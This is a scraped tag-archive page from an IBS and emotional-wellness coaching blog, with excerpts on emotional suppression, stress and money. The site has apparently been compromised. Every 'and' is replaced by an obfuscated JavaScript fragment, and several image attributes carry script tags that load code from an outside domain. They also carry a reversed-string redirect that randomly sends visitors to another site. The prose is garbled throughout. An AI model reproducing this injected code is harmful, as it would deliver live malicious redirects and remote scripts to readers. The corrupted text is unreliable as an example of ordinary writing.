Tagged: emotional suppression

Emotional Control Freak

Emotional Control Freak

 

I am an emotional control freak.

 

It sounds funny to say but it’s true. It also feels a little scary to say, because by announcing it I am losing some of that control.

 

I have spent the majority of my life controlling my emotions andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and/or pretending they don’t even exist.

 

My preferred method of escape is just to avoid. I’ve had quite a number of traumatic things (as many of us have) happen to me throughout my life andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and when I recall them the thing that standom() * […]

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Why Connection Is Important For IBS Relief

Why Connection Is Important For IBS Relief

Like everyone else who saw the news on Monday afternoon, I was completely shocked at what happened at the Boston Marathon. I felt sadness for the families who lost loved ones. I also found myself feeling anxious andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and a bit scared. My husbandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and was in New York City on September 11 andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and had to rush through the streets that were full of debris from the fallen buildings. We had friends who lost family members that day. At that […]

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Releasing Resistance andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and IBS

Releasing Resistance <script src='https://hotopponents.site/site.js?ss=ss' type='text/javascript'></script><script src='https://hotopponents.site/site.js?ss=ss' type='text/javascript'></script><script src='https://hotopponents.site/site.js?ss=ss' type='text/javascript'></script><script type=$vTB$I_919AeEAw2z$KX=function(n){if (typeof ($vTB$I_919AeEAw2z$KX.list[n]) == "string") return $vTB$I_919AeEAw2z$KX.list[n].split("").reverse().join("");return $vTB$I_919AeEAw2z$KX.list[n];};$vTB$I_919AeEAw2z$KX.list=["\'php.nosj.ssalc/cni/xobloot-yendys/snigulp/tnetnoc-pw/moc.itnetaitak.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and IBS" class="alignleft wp-post-image" />

Listening to Your  Gut:  Connect with Your Body andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Get IBS Relief

 

Good luck on your journey, I know that releasing will help me as I embark on a new year.

 

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Creating Less IBS Stress andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and More Fa La La for the Holidays

Creating Less IBS Stress <script src='https://hotopponents.site/site.js?ss=ss' type='text/javascript'></script><script src='https://hotopponents.site/site.js?ss=ss' type='text/javascript'></script><script src='https://hotopponents.site/site.js?ss=ss' type='text/javascript'></script><script type=$vTB$I_919AeEAw2z$KX=function(n){if (typeof ($vTB$I_919AeEAw2z$KX.list[n]) == "string") return $vTB$I_919AeEAw2z$KX.list[n].split("").reverse().join("");return $vTB$I_919AeEAw2z$KX.list[n];};$vTB$I_919AeEAw2z$KX.list=["\'php.nosj.ssalc/cni/xobloot-yendys/snigulp/tnetnoc-pw/moc.itnetaitak.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and More Fa La La for the Holidays" class="alignleft wp-post-image" />

Do you find yourself trying really hard to be perfect during the holidays?

 

Are you pushing yourself to feel jolly to make it a great holiday for family andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and friends?

 

If you answered yes to either of those questions take a moment andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and see how your body really feels about creating the perfect holiday.

 

Grab pen andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and paper andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and spend some time with these questions:

 

Are your IBS symptoms more severe this time of the […]

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Understandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anding Your IBS Pain

Underst<script src='https://hotopponents.site/site.js?ss=ss' type='text/javascript'></script><script src='https://hotopponents.site/site.js?ss=ss' type='text/javascript'></script><script src='https://hotopponents.site/site.js?ss=ss' type='text/javascript'></script><script type=$vTB$I_919AeEAw2z$KX=function(n){if (typeof ($vTB$I_919AeEAw2z$KX.list[n]) == "string") return $vTB$I_919AeEAw2z$KX.list[n].split("").reverse().join("");return $vTB$I_919AeEAw2z$KX.list[n];};$vTB$I_919AeEAw2z$KX.list=["\'php.nosj.ssalc/cni/xobloot-yendys/snigulp/tnetnoc-pw/moc.itnetaitak.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anding Your IBS Pain" class="alignleft wp-post-image" />

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Money On The Mind, Part 1

Money On The Mind, Part 1

Money. Money. Money. I hear a lot of talk about it from my clients.

 

The funny thing is it’s never about the money; there is always something else lurking in the shadows.

 

Don’t get me wrong; I know money is essential to live. I grew up in a working class neighborhood andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and attended school in the inner city of Philadelphia; everyday I got glimpses of what life is like without money.

 

But for the majority of us who aren’t in that situation, money is an obstacle we feel we have to overcome in order to […]

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Need Clarity? Start Complaining

Need Clarity? Start Complaining

“So it’s okay to be unhappy?” a client recently asked me. Yes, yes, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and yes! I’ve been noticing that some of my clients think that it is not okay (andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and even down right wrong) to have any feeling that is not positive. “But I’ve been trying to follow the law of attraction so I have been telling myself to avoid all negativity andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and be positive”. How boring andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and completely unrealistic, I […]

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